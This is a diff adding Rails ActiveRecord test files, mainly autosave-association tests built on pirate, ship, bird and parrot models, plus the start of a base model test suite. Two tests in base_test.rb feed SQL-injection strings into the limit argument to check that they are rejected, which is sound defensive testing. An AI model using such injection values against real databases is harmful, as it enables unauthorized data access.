+ assert_not_nil @pirate.reload.ship
+ end
+
+ # belongs_to
+ def test_should_destroy_a_parent_association_as_part_of_the_save_transaction_if_it_was_marked_for_destroyal
+ assert !@ship.pirate.marked_for_destruction?
+
+ @ship.pirate.mark_for_destruction
+ id = @ship.pirate.id
+
+ assert @ship.pirate.marked_for_destruction?
+ assert Pirate.find_by_id(id)
+
+ @ship.save
+ assert_nil @ship.reload.pirate
+ assert_nil Pirate.find_by_id(id)
+ end
+
+ def test_should_skip_validation_on_a_parent_association_if_marked_for_destruction
+ @ship.pirate.catchphrase = ''
+ assert !@ship.valid?
+
+ @ship.pirate.mark_for_destruction
+ @ship.pirate.expects(:valid?).never
+ assert_difference('Pirate.count', -1) { @ship.save! }
+ end
+
+ def test_a_parent_marked_for_destruction_should_not_be_destroyed_twice
+ @ship.pirate.mark_for_destruction
+ assert @ship.save
+ class << @ship.pirate
+ def destroy; raise "Should not be called" end
+ end
+ assert @ship.save
+ end
+
+ def test_should_rollback_destructions_if_an_exception_occurred_while_saving_a_parent
+ # Stub the save method of the @ship.pirate instance to destroy and then raise an exception
+ class << @ship.pirate
+ def save(*args)
+ super
+ destroy
+ raise 'Oh noes!'
+ end
+ end
+
+ @ship.pirate.catchphrase = "Changed Catchphrase"
+
+ assert_raise(RuntimeError) { assert !@ship.save }
+ assert_not_nil @ship.reload.pirate
+ end
+
+ def test_should_save_changed_child_objects_if_parent_is_saved
+ @pirate = @ship.create_pirate(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ @parrot = @pirate.parrots.create!(:name => 'Posideons Killer')
+ @parrot.name = "NewName"
+ @ship.save
+
+ assert_equal 'NewName', @parrot.reload.name
+ end
+
+ def test_should_destroy_has_many_as_part_of_the_save_transaction_if_they_were_marked_for_destruction
+ 2.times { |i| @pirate.birds.create!(:name => "birds_#{i}") }
+
+ assert !@pirate.birds.any? { |child| child.marked_for_destruction? }
+
+ @pirate.birds.each { |child| child.mark_for_destruction }
+ klass = @pirate.birds.first.class
+ ids = @pirate.birds.map(&:id)
+
+ assert @pirate.birds.all? { |child| child.marked_for_destruction? }
+ ids.each { |id| assert klass.find_by_id(id) }
+
+ @pirate.save
+ assert @pirate.reload.birds.empty?
+ ids.each { |id| assert_nil klass.find_by_id(id) }
+ end
+
+ def test_should_skip_validation_on_has_many_if_marked_for_destruction
+ 2.times { |i| @pirate.birds.create!(:name => "birds_#{i}") }
+
+ @pirate.birds.each { |bird| bird.name = '' }
+ assert !@pirate.valid?
+
+ @pirate.birds.each do |bird|
+ bird.mark_for_destruction
+ bird.expects(:valid?).never
+ end
+ assert_difference("Bird.count", -2) { @pirate.save! }
+ end
+
+ def test_should_skip_validation_on_has_many_if_destroyed
+ @pirate.birds.create!(:name => "birds_1")
+
+ @pirate.birds.each { |bird| bird.name = '' }
+ assert !@pirate.valid?
+
+ @pirate.birds.each { |bird| bird.destroy }
+ assert @pirate.valid?
+ end
+
+ def test_a_child_marked_for_destruction_should_not_be_destroyed_twice_while_saving_has_many
+ @pirate.birds.create!(:name => "birds_1")
+
+ @pirate.birds.each { |bird| bird.mark_for_destruction }
+ assert @pirate.save
+
+ @pirate.birds.each { |bird| bird.expects(:destroy).never }
+ assert @pirate.save
+ end
+
+ def test_should_rollback_destructions_if_an_exception_occurred_while_saving_has_many
+ 2.times { |i| @pirate.birds.create!(:name => "birds_#{i}") }
+ before = @pirate.birds.map { |c| c.mark_for_destruction ; c }
+
+ # Stub the destroy method of the second child to raise an exception
+ class << before.last
+ def destroy(*args)
+ super
+ raise 'Oh noes!'
+ end
+ end
+
+ assert_raise(RuntimeError) { assert !@pirate.save }
+ assert_equal before, @pirate.reload.birds
+ end
+
+ def test_when_new_record_a_child_marked_for_destruction_should_not_affect_other_records_from_saving
+ @pirate = @ship.build_pirate(:catchphrase => "Arr' now I shall keep me eye on you matey!") # new record
+
+ 3.times { |i| @pirate.birds.build(:name => "birds_#{i}") }
+ @pirate.birds[1].mark_for_destruction
+ @pirate.save!
+
+ assert_equal 2, @pirate.birds.reload.length
+ end
+
+ # Add and remove callbacks tests for association collections.
+ %w{ method proc }.each do |callback_type|
+ define_method("test_should_run_add_callback_#{callback_type}s_for_has_many") do
+ association_name_with_callbacks = "birds_with_#{callback_type}_callbacks"
+
+ pirate = Pirate.new(:catchphrase => "Arr")
+ pirate.send(association_name_with_callbacks).build(:name => "Crowe the One-Eyed")
+
+ expected = [
+ "before_adding_#{callback_type}_bird_<new>",
+ "after_adding_#{callback_type}_bird_<new>"
+ ]
+
+ assert_equal expected, pirate.ship_log
+ end
+
+ define_method("test_should_run_remove_callback_#{callback_type}s_for_has_many") do
+ association_name_with_callbacks = "birds_with_#{callback_type}_callbacks"
+
+ @pirate.send(association_name_with_callbacks).create!(:name => "Crowe the One-Eyed")
+ @pirate.send(association_name_with_callbacks).each { |c| c.mark_for_destruction }
+ child_id = @pirate.send(association_name_with_callbacks).first.id
+
+ @pirate.ship_log.clear
+ @pirate.save
+
+ expected = [
+ "before_removing_#{callback_type}_bird_#{child_id}",
+ "after_removing_#{callback_type}_bird_#{child_id}"
+ ]
+
+ assert_equal expected, @pirate.ship_log
+ end
+ end
+
+ def test_should_destroy_habtm_as_part_of_the_save_transaction_if_they_were_marked_for_destruction
+ 2.times { |i| @pirate.parrots.create!(:name => "parrots_#{i}") }
+
+ assert !@pirate.parrots.any? { |parrot| parrot.marked_for_destruction? }
+ @pirate.parrots.each { |parrot| parrot.mark_for_destruction }
+
+ assert_no_difference "Parrot.count" do
+ @pirate.save
+ end
+
+ assert @pirate.reload.parrots.empty?
+
+ join_records = Pirate.connection.select_all("SELECT * FROM parrots_pirates WHERE pirate_id = #{@pirate.id}")
+ assert join_records.empty?
+ end
+
+ def test_should_skip_validation_on_habtm_if_marked_for_destruction
+ 2.times { |i| @pirate.parrots.create!(:name => "parrots_#{i}") }
+
+ @pirate.parrots.each { |parrot| parrot.name = '' }
+ assert !@pirate.valid?
+
+ @pirate.parrots.each do |parrot|
+ parrot.mark_for_destruction
+ parrot.expects(:valid?).never
+ end
+
+ @pirate.save!
+ assert @pirate.reload.parrots.empty?
+ end
+
+ def test_should_skip_validation_on_habtm_if_destroyed
+ @pirate.parrots.create!(:name => "parrots_1")
+
+ @pirate.parrots.each { |parrot| parrot.name = '' }
+ assert !@pirate.valid?
+
+ @pirate.parrots.each { |parrot| parrot.destroy }
+ assert @pirate.valid?
+ end
+
+ def test_a_child_marked_for_destruction_should_not_be_destroyed_twice_while_saving_habtm
+ @pirate.parrots.create!(:name => "parrots_1")
+
+ @pirate.parrots.each { |parrot| parrot.mark_for_destruction }
+ assert @pirate.save
+
+ assert_queries(0) do
+ assert @pirate.save
+ end
+ end
+
+ def test_should_rollback_destructions_if_an_exception_occurred_while_saving_habtm
+ 2.times { |i| @pirate.parrots.create!(:name => "parrots_#{i}") }
+ before = @pirate.parrots.map { |c| c.mark_for_destruction ; c }
+
+ class << @pirate.association(:parrots)
+ def destroy(*args)
+ super
+ raise 'Oh noes!'
+ end
+ end
+
+ assert_raise(RuntimeError) { assert !@pirate.save }
+ assert_equal before, @pirate.reload.parrots
+ end
+
+ # Add and remove callbacks tests for association collections.
+ %w{ method proc }.each do |callback_type|
+ define_method("test_should_run_add_callback_#{callback_type}s_for_habtm") do
+ association_name_with_callbacks = "parrots_with_#{callback_type}_callbacks"
+
+ pirate = Pirate.new(:catchphrase => "Arr")
+ pirate.send(association_name_with_callbacks).build(:name => "Crowe the One-Eyed")
+
+ expected = [
+ "before_adding_#{callback_type}_parrot_<new>",
+ "after_adding_#{callback_type}_parrot_<new>"
+ ]
+
+ assert_equal expected, pirate.ship_log
+ end
+
+ define_method("test_should_run_remove_callback_#{callback_type}s_for_habtm") do
+ association_name_with_callbacks = "parrots_with_#{callback_type}_callbacks"
+
+ @pirate.send(association_name_with_callbacks).create!(:name => "Crowe the One-Eyed")
+ @pirate.send(association_name_with_callbacks).each { |c| c.mark_for_destruction }
+ child_id = @pirate.send(association_name_with_callbacks).first.id
+
+ @pirate.ship_log.clear
+ @pirate.save
+
+ expected = [
+ "before_removing_#{callback_type}_parrot_#{child_id}",
+ "after_removing_#{callback_type}_parrot_#{child_id}"
+ ]
+
+ assert_equal expected, @pirate.ship_log
+ end
+ end
+end
+
+class TestAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false unless supports_savepoints?
+
+ def setup
+ super
+ @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ @ship = @pirate.create_ship(:name => 'Nights Dirty Lightning')
+ end
+
+ def test_should_still_work_without_an_associated_model
+ @ship.destroy
+ @pirate.reload.catchphrase = "Arr"
+ @pirate.save
+ assert_equal 'Arr', @pirate.reload.catchphrase
+ end
+
+ def test_should_automatically_save_the_associated_model
+ @pirate.ship.name = 'The Vile Insanity'
+ @pirate.save
+ assert_equal 'The Vile Insanity', @pirate.reload.ship.name
+ end
+
+ def test_should_automatically_save_bang_the_associated_model
+ @pirate.ship.name = 'The Vile Insanity'
+ @pirate.save!
+ assert_equal 'The Vile Insanity', @pirate.reload.ship.name
+ end
+
+ def test_should_automatically_validate_the_associated_model
+ @pirate.ship.name = ''
+ assert @pirate.invalid?
+ assert @pirate.errors[:"ship.name"].any?
+ end
+
+ def test_should_merge_errors_on_the_associated_models_onto_the_parent_even_if_it_is_not_valid
+ @pirate.ship.name = nil
+ @pirate.catchphrase = nil
+ assert @pirate.invalid?
+ assert @pirate.errors[:"ship.name"].any?
+ assert @pirate.errors[:catchphrase].any?
+ end
+
+ def test_should_not_ignore_different_error_messages_on_the_same_attribute
+ Ship.validates_format_of :name, :with => /\w/
+ @pirate.ship.name = ""
+ @pirate.catchphrase = nil
+ assert @pirate.invalid?
+ assert_equal ["can't be blank", "is invalid"], @pirate.errors[:"ship.name"]
+ end
+
+ def test_should_still_allow_to_bypass_validations_on_the_associated_model
+ @pirate.catchphrase = ''
+ @pirate.ship.name = ''
+ @pirate.save(:validate => false)
+ # Oracle saves empty string as NULL
+ if current_adapter?(:OracleAdapter)
+ assert_equal [nil, nil], [@pirate.reload.catchphrase, @pirate.ship.name]
+ else
+ assert_equal ['', ''], [@pirate.reload.catchphrase, @pirate.ship.name]
+ end
+ end
+
+ def test_should_allow_to_bypass_validations_on_associated_models_at_any_depth
+ 2.times { |i| @pirate.ship.parts.create!(:name => "part #{i}") }
+
+ @pirate.catchphrase = ''
+ @pirate.ship.name = ''
+ @pirate.ship.parts.each { |part| part.name = '' }
+ @pirate.save(:validate => false)
+
+ values = [@pirate.reload.catchphrase, @pirate.ship.name, *@pirate.ship.parts.map(&:name)]
+ # Oracle saves empty string as NULL
+ if current_adapter?(:OracleAdapter)
+ assert_equal [nil, nil, nil, nil], values
+ else
+ assert_equal ['', '', '', ''], values
+ end
+ end
+
+ def test_should_still_raise_an_ActiveRecordRecord_Invalid_exception_if_we_want_that
+ @pirate.ship.name = ''
+ assert_raise(ActiveRecord::RecordInvalid) do
+ @pirate.save!
+ end
+ end
+
+ def test_should_not_save_and_return_false_if_a_callback_cancelled_saving
+ pirate = Pirate.new(:catchphrase => 'Arr')
+ ship = pirate.build_ship(:name => 'The Vile Insanity')
+ ship.cancel_save_from_callback = true
+
+ assert_no_difference 'Pirate.count' do
+ assert_no_difference 'Ship.count' do
+ assert !pirate.save
+ end
+ end
+ end
+
+ def test_should_rollback_any_changes_if_an_exception_occurred_while_saving
+ before = [@pirate.catchphrase, @pirate.ship.name]
+
+ @pirate.catchphrase = 'Arr'
+ @pirate.ship.name = 'The Vile Insanity'
+
+ # Stub the save method of the @pirate.ship instance to raise an exception
+ class << @pirate.ship
+ def save(*args)
+ super
+ raise 'Oh noes!'
+ end
+ end
+
+ assert_raise(RuntimeError) { assert !@pirate.save }
+ assert_equal before, [@pirate.reload.catchphrase, @pirate.ship.name]
+ end
+
+ def test_should_not_load_the_associated_model
+ assert_queries(1) { @pirate.catchphrase = 'Arr'; @pirate.save! }
+ end
+end
+
+class TestAutosaveAssociationOnABelongsToAssociation < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false unless supports_savepoints?
+
+ def setup
+ super
+ @ship = Ship.create(:name => 'Nights Dirty Lightning')
+ @pirate = @ship.create_pirate(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ end
+
+ def test_should_still_work_without_an_associated_model
+ @pirate.destroy
+ @ship.reload.name = "The Vile Insanity"
+ @ship.save
+ assert_equal 'The Vile Insanity', @ship.reload.name
+ end
+
+ def test_should_automatically_save_the_associated_model
+ @ship.pirate.catchphrase = 'Arr'
+ @ship.save
+ assert_equal 'Arr', @ship.reload.pirate.catchphrase
+ end
+
+ def test_should_automatically_save_bang_the_associated_model
+ @ship.pirate.catchphrase = 'Arr'
+ @ship.save!
+ assert_equal 'Arr', @ship.reload.pirate.catchphrase
+ end
+
+ def test_should_automatically_validate_the_associated_model
+ @ship.pirate.catchphrase = ''
+ assert @ship.invalid?
+ assert @ship.errors[:"pirate.catchphrase"].any?
+ end
+
+ def test_should_merge_errors_on_the_associated_model_onto_the_parent_even_if_it_is_not_valid
+ @ship.name = nil
+ @ship.pirate.catchphrase = nil
+ assert @ship.invalid?
+ assert @ship.errors[:name].any?
+ assert @ship.errors[:"pirate.catchphrase"].any?
+ end
+
+ def test_should_still_allow_to_bypass_validations_on_the_associated_model
+ @ship.pirate.catchphrase = ''
+ @ship.name = ''
+ @ship.save(:validate => false)
+ # Oracle saves empty string as NULL
+ if current_adapter?(:OracleAdapter)
+ assert_equal [nil, nil], [@ship.reload.name, @ship.pirate.catchphrase]
+ else
+ assert_equal ['', ''], [@ship.reload.name, @ship.pirate.catchphrase]
+ end
+ end
+
+ def test_should_still_raise_an_ActiveRecordRecord_Invalid_exception_if_we_want_that
+ @ship.pirate.catchphrase = ''
+ assert_raise(ActiveRecord::RecordInvalid) do
+ @ship.save!
+ end
+ end
+
+ def test_should_not_save_and_return_false_if_a_callback_cancelled_saving
+ ship = Ship.new(:name => 'The Vile Insanity')
+ pirate = ship.build_pirate(:catchphrase => 'Arr')
+ pirate.cancel_save_from_callback = true
+
+ assert_no_difference 'Ship.count' do
+ assert_no_difference 'Pirate.count' do
+ assert !ship.save
+ end
+ end
+ end
+
+ def test_should_rollback_any_changes_if_an_exception_occurred_while_saving
+ before = [@ship.pirate.catchphrase, @ship.name]
+
+ @ship.pirate.catchphrase = 'Arr'
+ @ship.name = 'The Vile Insanity'
+
+ # Stub the save method of the @ship.pirate instance to raise an exception
+ class << @ship.pirate
+ def save(*args)
+ super
+ raise 'Oh noes!'
+ end
+ end
+
+ assert_raise(RuntimeError) { assert !@ship.save }
+ assert_equal before, [@ship.pirate.reload.catchphrase, @ship.reload.name]
+ end
+
+ def test_should_not_load_the_associated_model
+ assert_queries(1) { @ship.name = 'The Vile Insanity'; @ship.save! }
+ end
+end
+
+module AutosaveAssociationOnACollectionAssociationTests
+ def test_should_automatically_save_the_associated_models
+ new_names = ['Grace OMalley', 'Privateers Greed']
+ @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
+
+ @pirate.save
+ assert_equal new_names, @pirate.reload.send(@association_name).map(&:name)
+ end
+
+ def test_should_automatically_save_bang_the_associated_models
+ new_names = ['Grace OMalley', 'Privateers Greed']
+ @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
+
+ @pirate.save!
+ assert_equal new_names, @pirate.reload.send(@association_name).map(&:name)
+ end
+
+ def test_should_automatically_validate_the_associated_models
+ @pirate.send(@association_name).each { |child| child.name = '' }
+
+ assert !@pirate.valid?
+ assert_equal ["can't be blank"], @pirate.errors["#{@association_name}.name"]
+ assert @pirate.errors[@association_name].empty?
+ end
+
+ def test_should_not_use_default_invalid_error_on_associated_models
+ @pirate.send(@association_name).build(:name => '')
+
+ assert !@pirate.valid?
+ assert_equal ["can't be blank"], @pirate.errors["#{@association_name}.name"]
+ assert @pirate.errors[@association_name].empty?
+ end
+
+ def test_should_default_invalid_error_from_i18n
+ I18n.backend.store_translations(:en, :activerecord => {:errors => { :models =>
+ { @association_name.to_s.singularize.to_sym => { :blank => "cannot be blank" } }
+ }})
+
+ @pirate.send(@association_name).build(:name => '')
+
+ assert !@pirate.valid?
+ assert_equal ["cannot be blank"], @pirate.errors["#{@association_name}.name"]
+ assert_equal ["#{@association_name.to_s.titleize} name cannot be blank"], @pirate.errors.full_messages
+ assert @pirate.errors[@association_name].empty?
+ ensure
+ I18n.backend = I18n::Backend::Simple.new
+ end
+
+ def test_should_merge_errors_on_the_associated_models_onto_the_parent_even_if_it_is_not_valid
+ @pirate.send(@association_name).each { |child| child.name = '' }
+ @pirate.catchphrase = nil
+
+ assert !@pirate.valid?
+ assert_equal ["can't be blank"], @pirate.errors["#{@association_name}.name"]
+ assert @pirate.errors[:catchphrase].any?
+ end
+
+ def test_should_allow_to_bypass_validations_on_the_associated_models_on_update
+ @pirate.catchphrase = ''
+ @pirate.send(@association_name).each { |child| child.name = '' }
+
+ assert @pirate.save(:validate => false)
+ # Oracle saves empty string as NULL
+ if current_adapter?(:OracleAdapter)
+ assert_equal [nil, nil, nil], [
+ @pirate.reload.catchphrase,
+ @pirate.send(@association_name).first.name,
+ @pirate.send(@association_name).last.name
+ ]
+ else
+ assert_equal ['', '', ''], [
+ @pirate.reload.catchphrase,
+ @pirate.send(@association_name).first.name,
+ @pirate.send(@association_name).last.name
+ ]
+ end
+ end
+
+ def test_should_validation_the_associated_models_on_create
+ assert_no_difference("#{ @association_name == :birds ? 'Bird' : 'Parrot' }.count") do
+ 2.times { @pirate.send(@association_name).build }
+ @pirate.save
+ end
+ end
+
+ def test_should_allow_to_bypass_validations_on_the_associated_models_on_create
+ assert_difference("#{ @association_name == :birds ? 'Bird' : 'Parrot' }.count", 2) do
+ 2.times { @pirate.send(@association_name).build }
+ @pirate.save(:validate => false)
+ end
+ end
+
+ def test_should_not_save_and_return_false_if_a_callback_cancelled_saving_in_either_create_or_update
+ @pirate.catchphrase = 'Changed'
+ @child_1.name = 'Changed'
+ @child_1.cancel_save_from_callback = true
+
+ assert !@pirate.save
+ assert_equal "Don' botharrr talkin' like one, savvy?", @pirate.reload.catchphrase
+ assert_equal "Posideons Killer", @child_1.reload.name
+
+ new_pirate = Pirate.new(:catchphrase => 'Arr')
+ new_child = new_pirate.send(@association_name).build(:name => 'Grace OMalley')
+ new_child.cancel_save_from_callback = true
+
+ assert_no_difference 'Pirate.count' do
+ assert_no_difference "#{new_child.class.name}.count" do
+ assert !new_pirate.save
+ end
+ end
+ end
+
+ def test_should_rollback_any_changes_if_an_exception_occurred_while_saving
+ before = [@pirate.catchphrase, *@pirate.send(@association_name).map(&:name)]
+ new_names = ['Grace OMalley', 'Privateers Greed']
+
+ @pirate.catchphrase = 'Arr'
+ @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
+
+ # Stub the save method of the first child instance to raise an exception
+ class << @pirate.send(@association_name).first
+ def save(*args)
+ super
+ raise 'Oh noes!'
+ end
+ end
+
+ assert_raise(RuntimeError) { assert !@pirate.save }
+ assert_equal before, [@pirate.reload.catchphrase, *@pirate.send(@association_name).map(&:name)]
+ end
+
+ def test_should_still_raise_an_ActiveRecordRecord_Invalid_exception_if_we_want_that
+ @pirate.send(@association_name).each { |child| child.name = '' }
+ assert_raise(ActiveRecord::RecordInvalid) do
+ @pirate.save!
+ end
+ end
+
+ def test_should_not_load_the_associated_models_if_they_were_not_loaded_yet
+ assert_queries(1) { @pirate.catchphrase = 'Arr'; @pirate.save! }
+
+ @pirate.send(@association_name).load_target
+
+ assert_queries(3) do
+ @pirate.catchphrase = 'Yarr'
+ new_names = ['Grace OMalley', 'Privateers Greed']
+ @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
+ @pirate.save!
+ end
+ end
+end
+
+class TestAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false unless supports_savepoints?
+
+ def setup
+ super
+ @association_name = :birds
+
+ @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ @child_1 = @pirate.birds.create(:name => 'Posideons Killer')
+ @child_2 = @pirate.birds.create(:name => 'Killer bandita Dionne')
+ end
+
+ include AutosaveAssociationOnACollectionAssociationTests
+end
+
+class TestAutosaveAssociationOnAHasAndBelongsToManyAssociation < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false unless supports_savepoints?
+
+ def setup
+ super
+ @association_name = :parrots
+ @habtm = true
+
+ @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ @child_1 = @pirate.parrots.create(:name => 'Posideons Killer')
+ @child_2 = @pirate.parrots.create(:name => 'Killer bandita Dionne')
+ end
+
+ include AutosaveAssociationOnACollectionAssociationTests
+end
+
+class TestAutosaveAssociationValidationsOnAHasManyAssociation < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false unless supports_savepoints?
+
+ def setup
+ super
+ @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ @pirate.birds.create(:name => 'cookoo')
+ end
+
+ test "should automatically validate associations" do
+ assert @pirate.valid?
+ @pirate.birds.each { |bird| bird.name = '' }
+
+ assert !@pirate.valid?
+ end
+end
+
+class TestAutosaveAssociationValidationsOnAHasOneAssociation < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false unless supports_savepoints?
+
+ def setup
+ super
+ @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ @pirate.create_ship(:name => 'titanic')
+ super
+ end
+
+ test "should automatically validate associations with :validate => true" do
+ assert @pirate.valid?
+ @pirate.ship.name = ''
+ assert !@pirate.valid?
+ end
+
+ test "should not automatically add validate associations without :validate => true" do
+ assert @pirate.valid?
+ @pirate.non_validated_ship.name = ''
+ assert @pirate.valid?
+ end
+end
+
+class TestAutosaveAssociationValidationsOnABelongsToAssociation < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false unless supports_savepoints?
+
+ def setup
+ super
+ @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ end
+
+ test "should automatically validate associations with :validate => true" do
+ assert @pirate.valid?
+ @pirate.parrot = Parrot.new(:name => '')
+ assert !@pirate.valid?
+ end
+
+ test "should not automatically validate associations without :validate => true" do
+ assert @pirate.valid?
+ @pirate.non_validated_parrot = Parrot.new(:name => '')
+ assert @pirate.valid?
+ end
+end
+
+class TestAutosaveAssociationValidationsOnAHABTMAssociation < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false unless supports_savepoints?
+
+ def setup
+ super
+ @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ end
+
+ test "should automatically validate associations with :validate => true" do
+ assert @pirate.valid?
+ @pirate.parrots = [ Parrot.new(:name => 'popuga') ]
+ @pirate.parrots.each { |parrot| parrot.name = '' }
+ assert !@pirate.valid?
+ end
+
+ test "should not automatically validate associations without :validate => true" do
+ assert @pirate.valid?
+ @pirate.non_validated_parrots = [ Parrot.new(:name => 'popuga') ]
+ @pirate.non_validated_parrots.each { |parrot| parrot.name = '' }
+ assert @pirate.valid?
+ end
+end
+
+class TestAutosaveAssociationValidationMethodsGeneration < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false unless supports_savepoints?
+
+ def setup
+ super
+ @pirate = Pirate.new
+ end
+
+ test "should generate validation methods for has_many associations" do
+ assert_respond_to @pirate, :validate_associated_records_for_birds
+ end
+
+ test "should generate validation methods for has_one associations with :validate => true" do
+ assert_respond_to @pirate, :validate_associated_records_for_ship
+ end
+
+ test "should not generate validation methods for has_one associations without :validate => true" do
+ assert !@pirate.respond_to?(:validate_associated_records_for_non_validated_ship)
+ end
+
+ test "should generate validation methods for belongs_to associations with :validate => true" do
+ assert_respond_to @pirate, :validate_associated_records_for_parrot
+ end
+
+ test "should not generate validation methods for belongs_to associations without :validate => true" do
+ assert !@pirate.respond_to?(:validate_associated_records_for_non_validated_parrot)
+ end
+
+ test "should generate validation methods for HABTM associations with :validate => true" do
+ assert_respond_to @pirate, :validate_associated_records_for_parrots
+ end
+
+ test "should not generate validation methods for HABTM associations without :validate => true" do
+ assert !@pirate.respond_to?(:validate_associated_records_for_non_validated_parrots)
+ end
+end
+
+class TestAutosaveAssociationWithTouch < ActiveRecord::TestCase
+ def test_autosave_with_touch_should_not_raise_system_stack_error
+ invoice = Invoice.create
+ assert_nothing_raised { invoice.line_items.create(:amount => 10) }
+ end
+end
diff --git a/activerecord/test/cases/base_test.rb b/activerecord/test/cases/base_test.rb
new file mode 100644
index 0000000..bd568af
--- /dev/null
+++ b/activerecord/test/cases/base_test.rb
@@ -0,0 +1,1637 @@
+require "cases/helper"
+require 'models/post'
+require 'models/author'
+require 'models/topic'
+require 'models/reply'
+require 'models/category'
+require 'models/company'
+require 'models/customer'
+require 'models/developer'
+require 'models/project'
+require 'models/default'
+require 'models/auto_id'
+require 'models/boolean'
+require 'models/column_name'
+require 'models/subscriber'
+require 'models/keyboard'
+require 'models/comment'
+require 'models/minimalistic'
+require 'models/warehouse_thing'
+require 'models/parrot'
+require 'models/person'
+require 'models/edge'
+require 'models/joke'
+require 'models/bird'
+require 'models/car'
+require 'models/bulb'
+require 'rexml/document'
+
+class FirstAbstractClass < ActiveRecord::Base
+ self.abstract_class = true
+end
+class SecondAbstractClass < FirstAbstractClass
+ self.abstract_class = true
+end
+class Photo < SecondAbstractClass; end
+class Category < ActiveRecord::Base; end
+class Categorization < ActiveRecord::Base; end
+class Smarts < ActiveRecord::Base; end
+class CreditCard < ActiveRecord::Base
+ class PinNumber < ActiveRecord::Base
+ class CvvCode < ActiveRecord::Base; end
+ class SubCvvCode < CvvCode; end
+ end
+ class SubPinNumber < PinNumber; end
+ class Brand < Category; end
+end
+class MasterCreditCard < ActiveRecord::Base; end
+class Post < ActiveRecord::Base; end
+class Computer < ActiveRecord::Base; end
+class NonExistentTable < ActiveRecord::Base; end
+class TestOracleDefault < ActiveRecord::Base; end
+
+class ReadonlyTitlePost < Post
+ attr_readonly :title
+end
+
+class Weird < ActiveRecord::Base; end
+
+class Boolean < ActiveRecord::Base
+ def has_fun
+ super
+ end
+end
+
+class LintTest < ActiveRecord::TestCase
+ include ActiveModel::Lint::Tests
+
+ class LintModel < ActiveRecord::Base; end
+
+ def setup
+ @model = LintModel.new
+ end
+end
+
+class BasicsTest < ActiveRecord::TestCase
+ fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, 'warehouse-things', :authors, :categorizations, :categories, :posts
+
+ def setup
+ ActiveRecord::Base.time_zone_aware_attributes = false
+ ActiveRecord::Base.default_timezone = :local
+ Time.zone = nil
+ end
+
+ def test_generated_methods_modules
+ modules = Computer.ancestors
+ assert modules.include?(Computer::GeneratedFeatureMethods)
+ assert_equal(Computer::GeneratedFeatureMethods, Computer.generated_feature_methods)
+ assert(modules.index(Computer.generated_attribute_methods) > modules.index(Computer.generated_feature_methods),
+ "generated_attribute_methods must be higher in inheritance hierarchy than generated_feature_methods")
+ assert_not_equal Computer.generated_feature_methods, Post.generated_feature_methods
+ assert(modules.index(Computer.generated_attribute_methods) < modules.index(ActiveRecord::Base.ancestors[1]))
+ end
+
+ def test_column_names_are_escaped
+ conn = ActiveRecord::Base.connection
+ classname = conn.class.name[/[^:]*$/]
+ badchar = {
+ 'SQLite3Adapter' => '"',
+ 'MysqlAdapter' => '`',
+ 'Mysql2Adapter' => '`',
+ 'PostgreSQLAdapter' => '"',
+ 'OracleAdapter' => '"',
+ }.fetch(classname) {
+ raise "need a bad char for #{classname}"
+ }
+
+ quoted = conn.quote_column_name "foo#{badchar}bar"
+ if current_adapter?(:OracleAdapter)
+ # Oracle does not allow double quotes in table and column names at all
+ # therefore quoting removes them
+ assert_equal("#{badchar}foobar#{badchar}", quoted)
+ else
+ assert_equal("#{badchar}foo#{badchar * 2}bar#{badchar}", quoted)
+ end
+ end
+
+ def test_columns_should_obey_set_primary_key
+ pk = Subscriber.columns.find { |x| x.name == 'nick' }
+ assert pk.primary, 'nick should be primary key'
+ end
+
+ def test_primary_key_with_no_id
+ assert_nil Edge.primary_key
+ end
+
+ unless current_adapter?(:PostgreSQLAdapter, :OracleAdapter, :SQLServerAdapter)
+ def test_limit_with_comma
+ assert Topic.limit("1,2").to_a
+ end
+ end
+
+ def test_limit_without_comma
+ assert_equal 1, Topic.limit("1").to_a.length
+ assert_equal 1, Topic.limit(1).to_a.length
+ end
+
+ def test_invalid_limit
+ assert_raises(ArgumentError) do
+ Topic.limit("asdfadf").to_a
+ end
+ end
+
+ def test_limit_should_sanitize_sql_injection_for_limit_without_commas
+ assert_raises(ArgumentError) do
+ Topic.limit("1 select * from schema").to_a
+ end
+ end
+
+ def test_limit_should_sanitize_sql_injection_for_limit_with_commas
+ assert_raises(ArgumentError) do
+ Topic.limit("1, 7 procedure help()").to_a
+ end
+ end
+
+ unless current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ def test_limit_should_allow_sql_literal
+ assert_equal 1, Topic.limit(Arel.sql('2-1')).to_a.length
+ end
+ end
+
+ def test_select_symbol
+ topic_ids = Topic.select(:id).map(&:id).sort
+ assert_equal Topic.pluck(:id).sort, topic_ids
+ end
+
+ def test_table_exists
+ assert !NonExistentTable.table_exists?
+ assert Topic.table_exists?
+ end
+
+ def test_preserving_date_objects
+ if current_adapter?(:SybaseAdapter)
+ # Sybase ctlib does not (yet?) support the date type; use datetime instead.
+ assert_kind_of(
+ Time, Topic.find(1).last_read,
+ "The last_read attribute should be of the Time class"
+ )
+ else
+ # Oracle enhanced adapter allows to define Date attributes in model class (see topic.rb)
+ assert_kind_of(
+ Date, Topic.find(1).last_read,
+ "The last_read attribute should be of the Date class"
